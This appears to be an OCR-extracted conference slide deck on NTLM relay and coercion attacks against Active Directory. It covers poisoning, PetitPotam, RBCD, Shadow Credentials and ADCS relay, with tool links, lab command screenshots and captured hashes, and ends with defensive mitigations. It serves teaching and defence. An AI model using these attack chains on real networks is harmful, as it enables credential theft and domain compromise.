Coercions and Relays
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AGENDA

* Why this Talk ?

* Theory: NTLM Relay & Methods of Coercion
 Which Protocol Can be Relayed Where ?

* Why it Works ?

* How it Works ? : Demos

* Questions ?
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Fun, a topic close to my heart

Not taught in certifications.
Relatively easy and highly effective
Applicable in real life.

Brings awareness to blue teams

More gears toward beginner to intermediate. But if you are
experienced, | hope that you learn a thing or two.

If you notice errors or knows better ways, please reach out.



DEMOS INDEX

PART 1 01 - Basic Responder _2
- 02 - Simple Relay (Local Admin SMB to SMB) e
* 03 -Dump AD Information HTTP to LDAP (IPv6 Poisoning) u
* 04 — Fake Machine Account Creation via DHCP Poisoning (HTTP to LDAP)
* 05-SMB to SOCKS AD Users, Groups and Machine Accounts Dump (SOCKS)
* 06 - Domain Administrator Privilege Escalation NetNTLM v1
* 07 - Machine Account Admin to (Exchange Trusted Subsystem Group)
e 08 - Printer LDAP Pass Back Attack
e (09 -MSSQL Relay via XP DIRTREE
* 10-SCCM Client Push Installation
e 11 - Files That Coerce (SIVIB Share)
PART 2

12 - Remote Code Execution (RCE) via WebDAV to RBCD Using Unauthenticated PetitPotam Proxy
* 13- Llocal Privilege Escalation (LPE) via WebDAV to RBCD (Change Lock Screen)

e 14 -local Privilege Escalation (LPE) via WebDAV to Shadow Credentials (Remote C2)

¢ 15-Unauthenticated ADCS User Templates Dump Via Web (SIVIB to HTTP)

e 16 - Active Directory Certificate Services (ADCS) ESC8 via C2 (PortBender)

e 17 - RemotePotato Privilege Escalation via RPC Protocol

18 - Kerberos Relay DNS Authentication via Mitm6 (Krbrelayx)

19 - Kerberos KrbRelay and KrbRelayUp Tools Local Privilege Escalation (LPE)




Bug Feature by Design

LLMNR, NBT-NS, mDNS Enabled

WPAD Automatic

LDAPS Not Enabled or Required

IPv6 Preference

SMB Signing Disabled (Except DCs)

ADCS HTTP Endpoint not HTTPS

Print Spooler Service Enabled

WebDAV Client Installed but Stopped (Workstation only)

MachineAccountQuota = 10
Any low Privilege user can query (AD, BloodHound, Kerberoast, ADCS)




OPTION 1

COERCION
POISON THE NETWORK

LLMNR NBT-NS DHCP IPV6 ARP
BN S DHCP

Responder (Linux) *  Mitm6 (Linux) * Bettercap (Linux)
Responder (Linux) * Inveigh (PS, .Net) e *Risky
Inveigh (PS, .Net)

/ * Pretender (Cross platform , GO)



https://g-laurent.blogspot.com/2021/08/responders-dhcp-poisoner.html
https://www.fox-it.com/nl-en/blog-6-mitm6-compromising-ipv4-networks-via-ipv6/

OPTION 2
COERCION ON DEMAND

If | were you, | would comply.

PRINTERBUG PETITPOTAM DFSCOERCE

MS-RPRN MS-EFSR MS-DFSNM
* Authenticated ’ gantiﬁgze”ticated (DC) ) glétgglr;ticated
* Authenticated
SCCM COERCER

e Authenticated e« Allin one tool
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Work
In
Progress

client
session signing

Protocol

session signing
SMB1 HTTP SMB2

"disabled"” "not supported" "not required”

"disabled" v 4 ve

"not supported" v v e

"supported"” -
(WebgAp\?andmher veo
Microsoft chents)

"enabled” ve
"not required” veo
"required” X (ntimrelayx?)

"required” ; ; vieed

it doesn't work
it works

enabling SMB2 support is needed (-smb2support)
disabling multirelay (--no-mul tirelay) is needed (having only one target (- t) does that automatically)
exploiting CVE-2019-1040 ( -- remove-m1ic) is needed (for unptached targets only)

needs testing and/or confirmation

P AiIGEEY ¢l ntimrelayx seemed faulty, needs to be tried again with network analysis

@ nwodtuhs

@HackAndDo

NEEW

server

LDAP SMB1/2 /| LDAP LDAPS

“"None" "required" "Never"

v X X (ntimrelayx?)
v X v
v

X (ntimrelayx?)

v

X (ntimrelayx?)

hackndo

Think out of the box

Home
About
Archives
[
Disclaimer

Projects

EET L RN X )

EPA

LDAPS

"When supported”

v

v

Signing
Disabled Enabled Required

MB smB

HTTPS LDAPS / HTTPS

ays
/Required”

"Accept”

Channel Binding

Enabled | Required

1 HTTP "7 LDAP SMB LDAP LDAPS HTTPS LDAPS HTTPS LDAPS HTTPS



https://www.thehacker.recipes/ad/movement/ntlm/relay
https://twitter.com/_nwodtuhs
https://en.hackndo.com/ntlm-relay/
https://twitter.com/HackAndDo

Incoming NTLM Client-side Server-side Relayed NTLM
auth over mitigation mitigation auth over

signing disabled P
PrinterBug " (only exists in SMB1)
(MS-RPRN abuse) I
PetitPotam 1
(MS-EFSR abuse) . e ] 2 EPA disabled <
> signing required 2 \
\

EPA enabled -

Coercion method* Post-relay attack

AD CS ESC1, ESC6
\ or ESC8

HTTP

Web access

ii

HTTPS v SOCKS proxy

\
\
-
7
]

Credential dump

i
s\l

i
- -
\le
\ ’

~
~

WebDAV J

(Combine with others)
R HTTP

PrivExchange
(PushSubscription abuse)

EPA required s

?

(SAM secrets)

1 ) signing disabled

(only exists in SMB1) PN File/cmd execution

2 sighing enabled -
SOCKS proxy
Numbered circles are an alternative to standard links signing required Z

between elements. Match numbers to know what can be
relayed to what.

There is also a color code. Green circles mean the relay
should work. Orange circles mean the relay should work
if the target is vulnerable to CVE-2019-1040, CVE-2019- 1 2 signing enabled =
116677

1
I
signing required s
When there is no way to relay to/from, a
—¢

crossed link segment is used.

B

Kerberos RBCD

2 signing disabled N abuse

i_x

1

-

LDAP Shadow Credentials

e\ V4
’
-

Domain enum

- - -

Account elevation

N’
{

~

(ACL abuses, ...)

—
N

https://www.thehacker.recipes/ad/movement/ntim/relay Slakcclll

\
@ nwodtuhs EPA enabled -

\

LDAPS SOCKS proxy

i
s\l
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* NTLM authentications can be directly obtained EPA required ’ Account creation

through coercion methods or indirectly with other man-in-the-middle
techniques not featured in this graph like ARP poisoning,LLMNR/NBT-NS/mDNS/DNS
spoofing, ...

(computer or user)



https://www.thehacker.recipes/ad/movement/ntlm/relay
https://twitter.com/_nwodtuhs

Recon Tools

LDAP(S)

* https://github.com/zyn3rgy/LdapRelayScan (Python)
* https://github.com/cube0x0/LdapSignCheck (BOF & .NET)

SMB Signing

* https://github.com/Igandx/Responder/blob/master/tools/RunFinger.py (Python)
* https://github.com/byt3bl33d3r/CrackMapExec (Python)

Machine Account Quota

e https://github.com/outflanknl/C2-Tool-Collection/tree/main/BOF/AddMachineAccount (BOF)

e https://github.com/FuzzySecurity/StandIn (.NET)
* https://github.com/Porchetta-Industries/CrackMapExec (Python)

WebDAV Client (Workstations)

* https://github.com/Hackndo/WebclientServiceScanner (Python)
* https://github.com/G0ldenGunSec/GetWebDAVStatus (BOF & .NET)



https://github.com/zyn3rgy/LdapRelayScan
https://github.com/cube0x0/LdapSignCheck
https://github.com/lgandx/Responder/blob/master/tools/RunFinger.py
https://github.com/byt3bl33d3r/CrackMapExec
https://github.com/outflanknl/C2-Tool-Collection/tree/main/BOF/AddMachineAccount
https://github.com/FuzzySecurity/StandIn
https://github.com/Porchetta-Industries/CrackMapExec
https://github.com/Hackndo/WebclientServiceScanner
https://github.com/G0ldenGunSec/GetWebDAVStatus

DEMO
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SMB NetNTLM V2 HASH

Crack the hash to clear text password

IKE-P5K SHA1

MNetNTLMwvl / NetNTLMv1+ESS
MetNTLMw2

Cisco-I0S type 4 (SHA2E6)
Samsung Android Password/PIN

@ https://hashcat.net/misc/examp
ud-netntim::kNS:338d08f8e26de93:
admin::N46iSNekpT:08ca45b7d7eas
2btjy78REtmYkkW0csHUBJZOstRXo

0223b799d526b596fe4ba5628b9ei5

Relay it using Ntimrelayx


https://hashcat.net/wiki/doku.php?id=example_hashes

02 - Simple Relay (Local Admin SMB to SMB)

* Ntimrelayx.py

https://www.secureauth.com/blog/we-love-relaying-credentials-a-technical-guide-to-relaying-credentials-everywhere/
https://github.com/SecureAuthCorp/impacket



https://www.secureauth.com/blog/we-love-relaying-credentials-a-technical-guide-to-relaying-credentials-everywhere/
https://github.com/SecureAuthCorp/impacket

03 - Dump AD Information
HTTP to LDAP (DHCP IPV6 Poisoning)

°* mitme6

/

https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/



https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/

04 — Fake Machine Account Creation via
DHCP Poisoning (HTTP to LDAP)

* Clean Up (Needs DA)

(root® kali)-[~]
[:; addcomputer.py 'mercedes.local/administrator:Alphatango999!"' -dc-ip 192.168.1.7 -domain-netbios MERCEDES.LOCAL -computer-name FIFFMIEL$ -delete
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Successfully deleted FIFFMIELS.

https://g-laurent.blogspot.com/2021/08/responders-dhcp-poisoner.html



https://g-laurent.blogspot.com/2021/08/responders-dhcp-poisoner.html

Have no HTTP request ? Can't crack SMB NetNTLM v2 hash?
Not Local Admin ?

Identify hosts where SMB signing is disabled.

Relay SMB request to them using the SOCKS option.

Run lookupsid.py to dump local and domain users, machines and groups.



NetNTLMv1

Settings : LAN Manager authentication level
Coerce the Domain Controller to give its NetNTLMv1 machine account hash : Printer Bug or PetitPotam

Crack / downgrade the NetNTLM v1 hash to a regular NTLM that can be use in a Pass-the-hash attack
DCSync Attack (Pass-the-hash)

Have code exec as Domain Administrator on the DC. (Pass-the-hash)


https://hashcat.net/wiki/doku.php?id=example_hashes
https://github.com/evilmog/ntlmv1-multi

Exchange

Exchange Servers are member of the Exchange Trusted Subsystem Group
Need 2 or more Exchange servers

Installation prior to 2019 (PrivExchange)

Bloodhoud Cypher Query :

EXCH-01.LEGACY.LOCAL._ ,

~Iing,

EXCHANGE TRUSTED SUBSYSTE ACY.LOCAL  wer=<



https://www.praetorian.com/blog/active-directory-computer-account-smb-relaying-attack/
https://www.praetorian.com/blog/computer-account-relaying-vulnerabilities-part-2/

<)
LDAP Pass Back Attack E —

. . et  OFFiCE SPACE ©2016FOX
Identify printers that use the default passwords.

Locate the LDAP options.

Change the Domain Controllers IP for our attacker IP.

If possible lower the authentication type to NetNTLV2 > NetNTLV1 > clear text credentials.
Find a way to provoke the authentication.

Receive the authentication attempt using Netcat, Responder or Ntimrelayx

If the printer require a bind connection, use socat to forward the request to the real DC and use
tcpdump or wireshark.


http://foofus.net/goons/percx/praeda/pass-back-attack.pdf
https://hackinparis.com/data/slides/2014/DeralHeilandandPeterArzamendi.pdf

RICOH MP

4 Home

LDAP

OK Cancel

M Identification Name
HServer Name

M Search Base

B Port Number

[ ]

B Authentication
HUser Name

B Password

HRealm Mame

M ]apanese Character Code Set:

B Connection Test

LDAP Pass Back Attack

b Image Monitor

When [Not Programmed] is selected, Kerb
be set to inactive.

o)

sl OFFiCE SPACE ©2016FOX

root@_/home/_# nc -lnvp 8080
dlListening on 0.0.0.0 8080

Iconnection received on [N 10401

G;cﬁ

B

authentication will

objectclass@supportedLDAPVersionoPod. ) I i
[ [




Relay via XP_DIRTREE

ol
Sometimes low privilege accounts have access to MSSQL Servers. o ‘

\
Login and coerce the MSSQL server to authenticate back to us via the '
XP_DIRTREE SQL Query command. )

Relay the incoming SMB request to other hosts via the SQL or SMB protocol.



10 - SCCM Client Push Installation

* Invoke Client Push Installation

* Config: Enable automatic site-wide client push installation & Allow
connection fallback to NTLM

/

https://posts.specterops.io/coercing-ntIm-authentication-from-sccm-e6e23ea8260a
Chris Thompson @ Mayyhem (SpectorOps) / Previous work Matt Nelson @enigma0x3



https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a
https://medium.com/@Mayyhem?source=user_profile-------------------------------------
https://twitter.com/_Mayyhem
https://twitter.com/enigma0x3

.
Files Coerce .
.SCF - File did not work well : =
.Ink - worked well
.url - worked well (editable) Host Based Firewall
Jibrary-ms Adding the URI '/Temporary_Listen_Address/’ on port 80

.searchConnector-ms (Start WebDAV client service)
C:\Users\low»netsh http show urlacl

URL Reserwvations:

nano cropipurlurt —— TTmTmmmmmomeees
Reserved URL : http://+:88/Temporary_Listen_Addresses/
User: \Everyone
Listen: Yes
Delegate: No
SDDL: D:{A;;GX;; ;WD)

Listen: Yes
Delegate: No
SDDOL: D:{A;;GX;;;BUY(A;;GX;;;LS)

domchell
@NinjaParanoid



https://www.mdsec.co.uk/2021/02/farming-for-red-teams-harvesting-netntlm/
https://twitter.com/domchell
https://twitter.com/NinjaParanoid/status/1265187842889744384
https://twitter.com/NinjaParanoid

e e —— . g——n .
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10 MINUTES BREAK




What is
Hello Darkness My Old friend

WebDAV is a file server over HTTP

The service WebClient is present on workstation by default (not started). Not present on server
OS by default ®

Produce an HTTP hash > relay to LDAP T —
Can be on any port: 80, 8080 whatever VarpITSy Provides .. Manual (Trg..

This service ... Running  Manual
Enables Win...

Vi-Fi Direct Services Conne.. Manages co.. Manual (Trig...

dows Audio Manages au... Running  Autoratic

It needs the system’s NetBIOS name

Must be in the “local intranet” zone

We either need a DNS record, create one or poison the network (Responder)
However, we can even create a DNS A record > external IP


file://workstation1@8080/fake/img.jpg

WebDAYV to External IP via DNS A Record

*  Network Segmentation Limitation ?

PS C:\Usersi\low> ping ext

Pinging ext.mercedes.local [159.283.43.25] with 32 bytes of data:
Reply from 159.283.43.25: bytes=32 time=25ms TTL=55
root@GP-bhis-demo:~/krbrelayx# proxychains4 python3 dnstool.py -u mercedes\\low Reply from 159.283.43.25: bytes=32 time=21ms TTL=55
dc-mercedes.mercedes.local -r external -a add -d|159.203.43.25| --tcp

[proxychains] config file found: /etc/proxychains.cont

[proxychains] preloading /usr/1ib/x86 64-linux-gnu/libproxychains.so.4 PS C:vUsershlow> dir \\external@8B@\anything
[proxychains] DLL init: proxychains-ng 4.16
Password:

[-] Connecting to host...
[-]1 Binding to host

[proxychains] Strict chain ... 127.0.0.1:1080 ... dc-mercedes.mercedes.local [WebBAU] NTLMv2? Client : 135.19.185.223

1389 ... OK [WebDAV] NTLMv2 Username : MERCEDES\low

[+] Bind OK [WebDAV] NTLMv2 Hash : low::MERCEDES:8df23aa928faefad:C5B0331¢
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.1.7:53 ... OK 773250C404:0101000000000000B1D128BD90C3D8011530654F30B1EBDCOROOOO
[-] Adding new record FOO3700520001001E00570049004E002D0044004DA05900350053004D00310032¢
[+] LDAP operation completed successfully 400140034004FO0370052002E004CO04FO0430041004CO003003400570049004E(

AAARFAAFRAAAARAATST AARAAAF AAAFAAARARAAARFEAAD ARA AFAARDTAAFAAAATAMRAFRARAFF

for confirmation (might take a few minutes)

https://github.com/dirkjanm/krbrelayx



https://github.com/dirkjanm/krbrelayx

WebDAYV to External IP via DNS A Record

* Clean Up

root@GP-bhis-demo:~/krbrelayx# proxychains python3 dnstool.py -u mercedes\\low dc-mercedes.mercedes.local
-p "Alphatango999!' -r ext -a ldapdelete -d 159.203.43.25

[proxychains] config file found: /etc/proxychains.conf

[proxychains] preloading /usr/lib/x86 64-linux-gnu/libproxychains.so.4

[proxychains] DLL init: proxychains-ng 4.16

[-] Connecting to host...

[-] Binding to host

[proxychains] Strict chain ... 127.0.0.1:1080 ... dc-mercedes.mercedes.local:389 ... OK

[+] Bind OK

(-] Deleting record over LDAP

[+] LDAP operation completed successfully

https://github.com/dirkjanm/krbrelayx



https://github.com/dirkjanm/krbrelayx

12 - Remote Code Execution (RCE) via WebDAV to RBCD
Using Unauthenticated PetitPotam Proxy

*  Ms-DS-Allowed-To-Act-On-Behalf-Of-Other-ldentity LDAP attribute R #-.. ‘
|

L Q

* S4u2Proxy Kerberos Delegation

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
https://github.com/Hackndo/WebclientServiceScanner



https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
https://github.com/Hackndo/WebclientServiceScanner

13 - Local Privilege Escalation (LPE) via
WebDAV to RBCD (Change Lock Screen)

2

*  Ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity LDAP attribute \

*  S4u2Proxy Kerberos Delegation

https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-
privilege-escalation/



https://medium.com/@Mayyhem?source=user_profile-------------------------------------

13 - Local Privilege Escalation (LPE) via WebDAV to RBCD
(Change Lock Screen)

i 4 4

)

* Clean Up

root@GP-bhis-demo:~/rbcd-attack# proxychains rbcd.py -delegate-from '0OLZBZOBR$' -delegate-to WINIGACTIVES
'mercedes.local/WIN1IOACTIVES' -hashes :14025416027738470044b2b098bd01b6 -dc-ip 192.168.1.7 -action Tflush
[proxychains] config file found: /etc/proxychains.conf

[proxychains] preloading /usr/1lib/x86 64-linux-gnu/libproxychains.so.4

[proxychains] DLL init: proxychains-ng 4.16

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

oxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.1.7:389 ... OK
Accounts allowed to act on behalf of other identity:

[pr
[*]
[*] OLZBZQBRS (5-1-5-21-1475872381-2923298102-2362779937-1739)
[*]
[*]
[*]

Delegation rights flushed successfully!
Attribute msD5-AllowedloActUOnBehalTOT0therIdentity is empty

https://github.com/tothi/rbcd-attack @anOn r0



https://github.com/tothi/rbcd-attack
https://twitter.com/an0n_r0

14 - Local Privilege Escalation (LPE) via
WebDAV to Shadow Credentials (Remote C2)

*  Ms-DS-MachineAccountQuota = 0 (Limitation)

*  Ms-DS-KeyCredentialLink LDAP Attribute

*  S4u2Self Kerberos Delegation

* Need ADCS in the Environment

https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html



https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html
https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html

14 - Local Privilege Escalation (LPE) via
WebDAV to Shadow Credentials

* Clean Up
[r—[ @ kall) - [~/Desktop/tools/pywhisker]
certipy shadow -username 'WINIOACTIVES'@mercedes.local -hashes :8fb5849cfch87179a931clb9b2cld5da -account WINIGACTIVES list| -dc-ip 192.168.1.7

Certipy v4.0.0 - by Oliver Lyak (lydk)

[*] Targeting user 'WIN1GACTIVES'
[*] Listing Key Credentials for 'WIN1GACTIVES'
[*] DevicelID: 85e5b72e-253b-d473-f597-83791368703b | Creation Time (UTC): 2022-09-10 03:05:09.824623

[r—[ vt kali)-[~/Desktop/tools/pywhisker]
certipy shadow -username 'WIN1OACTIVES'@mercedes.local -hashes :8fb5849cfch87179a931clb9b2cld5da -account WINIBACTIVEq clear | -dc-ip 192.168.1.7

Certipy v4.0.0 - by Oliver Lyak (lydk)

[*] Targeting user 'WIN1GACTIVES'
[*] Clearing the Key Credentials for 'WINIGACTIVES'
[*]|Successfully cleared the Key Credentials for 'WINIBACTIVE$1

https://github.com/ly4k/Certipy#shadow-credentials
https://github.com/ShutdownRepo/pywhisker



https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
https://github.com/ly4k/Certipy#shadow-credentials
https://github.com/ShutdownRepo/pywhisker

15 - Unauthenticated ADCS User Templates Dump
Via Web (SMB to HTTP)

* No HTTP incoming hashes to relay to LDAP to dump ADCS info ?

* SMB hashes are more common
* Sometimes company remove the default User template in ADCS

AD CS attack options:
- -adcs Enable AD CS relay attack
- -dump Attempt to dump all user certificate templates via web
--template TEMPLATE AD CS template. Defaults to Machine or User whether relayed account name ends with "§°.
Relaying a DC should require specifying "DomainController’
--altname ALTNAME Subject Alternative Name to use when performing ESC1l or ESC6 attacks.

https://github.com/0x6d6f7468/impacket



https://github.com/0x6d6f7468/impacket

16 - Active Directory Certificate Services (ADCS)

Assume compromise via C2

Elevated

We want to listen on port 445 but its occupied

Coerce a DC to relay the SMB > HTTP ADCS to request (Web Enroliment)

w1

o L o

Lt

o822
geee sgési

R


https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
https://rastamouse.me/ntlm-relaying-via-cobalt-strike/
https://github.com/praetorian-inc/PortBender
https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/
https://posts.specterops.io/certified-pre-owned-d95910965cd2

17 — RemotePotatoO: Privilege Escalation via RPC Protocol

*  We can perform Local Privilege Escalation

* Also Coerce other Users on the box (DA Privesc)

https://github.com/antonioCoco/RemotePotato0 @splinter code @decoder it
https://github.com/MrAle98/SweetPotato
https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/



https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
https://github.com/antonioCoco/RemotePotato0
https://twitter.com/splinter_code
https://twitter.com/decoder_it
https://github.com/MrAle98/SweetPotato
https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/

NEEY, Authentication

via Mitm6 (Krbrelayx) The Future

Next Exit: ' ]

Relay Using Kerberos Instead of NTLM


https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/

KrbRelay and KrbRelayUp Tools Local
Privilege Escalation

Automated tools for Local privilege escalation via RBCD or ShadowCreds


https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
https://github.com/Dec0ne/KrbRelayUp
https://github.com/cube0x0/KrbRelay

Special Mention

Eavesarp

* Decommissioned Severs IP Takeover Opportunity via ARP Request Observation

https://github.com/arch4ngel/eavesarp
https://www.youtube.com/watch?v=cKDdy0JFXpA
https://www.blackhillsinfosec.com/analyzing-arp-to-discover-exploit-stale-network-address-configurations/



https://github.com/arch4ngel/eavesarp
https://github.com/arch4ngel/eavesarp
https://www.youtube.com/watch?v=cKDdy0JFXpA
https://www.blackhillsinfosec.com/analyzing-arp-to-discover-exploit-stale-network-address-configurations/

Disable LLMRN, NBT-NS and MDNS

Disable IPv6 if notin use

Set ms-DS-MachineAccountQuota to O

Monitor and alert on event ID 5136 or 4662 (match msDS-AllowedToActOnBehalfOfOtherldentity)
Monitor and alert on event ID 5136 or 4662 (match msDS-KeyCredentialLink)
Monitor and alert on event ID 4768 (PKINIT authentication)

Enable and require SMB and LDAP signing

Consider implementing EPA (Enhanced Protection for Authentication)

Ensure to enable local host firewall

Implement network segmentation

Consider disabling the WebDAV client (WebClient service)

Implement RPC firewall rule, alert and monitor malicious RPC activities
Consider disabling the Print Spooler Service.

Configure privileged accounts as “Account is sensitive and cannot be delegated”
Configure privileged accounts into the “Protected Users group”

Consider removing the ADCS HTTP endpoint if not required (ADCS)

Consider manual manager approval steps where they make sense (ADCS)

Audit and review your ADCS templates and servers' permissions



HTTPS://WWW.HUB.TRIMARCSECURITY.COM/POST/TEN-WAYS-TO-IMPROVE-AD-SECURITY-QUICKLY
HTTPS://SUPPORT.MICROSOFT.COM/EN-US/TOPIC/2020-LDAP-CHANNEL-BINDING-AND-LDAP-SIGNING-
REQUIREMENTS-FOR-WINDOWS-KB4520412-EF185FB8-00F7-167D-744C-F299A66FCOO0A

A
HTTPS://WWW.FORTALICESOLUTIONS.COM/POSTS/HUNTING-RESOURCE-BASED-CONSTRAINED-DELEGATION-IN-

ACTIVE-DIRECTORY

HTTPS://WWW.FORTALICESOLUTIONS.COM/POSTS/KEEPING-UP-WITH-THE-NTLM-RELAY

MICROSOFT AD CS SECURITY GUIDANCE:
HTTPS://SOCIAL.TECHNET.MICROSOFT.COM/WIKI/CONTENTS/ARTICLES/10942.AD-CS-SECURITY-
GUIDANCE.ASPX

MICROSOFT SECURING PUBLIC KEY INFRASTRUCTURE (PKI) : HTTPS://DOCS.MICROSOFT.COM/EN-
US/PREVIOUS-VERSIONS/WINDOWS/IT-PRO/WINDOWS-SERVER-2012-R2-AND-
2012/DN786443(V=WS.11)

SPECTEROPS BLOG: HTTPS://POSTS.SPECTEROPS.IO/CERTIFIED-PRE-OWNED-D95910965CD2
SPECTEROPS WHITEPAPER HTTPS://WWW.SPECTEROPS.IO/ASSETS/RESOURCES/CERTIFIED PRE-
OWNED.PDF

ADCS AUDIT TOOL: HTTPS://GITHUB.COM/GHOSTPACK/PSPKIAUDIT



https://support.microsoft.com/en-us/topic/2020-ldap-channel-binding-and-ldap-signing-requirements-for-windows-kb4520412-ef185fb8-00f7-167d-744c-f299a66fc00a
https://support.microsoft.com/en-us/topic/2020-ldap-channel-binding-and-ldap-signing-requirements-for-windows-kb4520412-ef185fb8-00f7-167d-744c-f299a66fc00a
https://www.microsoft.com/security/blog/2022/05/25/detecting-and-preventing-privilege-escalation-attacks-leveraging-kerberos-relaying-krbrelayup/
https://www.fortalicesolutions.com/posts/hunting-resource-based-constrained-delegation-in-active-directory
https://www.fortalicesolutions.com/posts/keeping-up-with-the-ntlm-relay
https://social.technet.microsoft.com/wiki/contents/articles/10942.ad-cs-security-guidance.aspx
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn786443(v=ws.11)
https://posts.specterops.io/certified-pre-owned-d95910965cd2
https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
https://github.com/GhostPack/PSPKIAudit
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https://twitter.com/_nwodtuhs
http://www.thehacker.recipes/
https://twitter.com/filip_dragovic
https://twitter.com/HackAndDo
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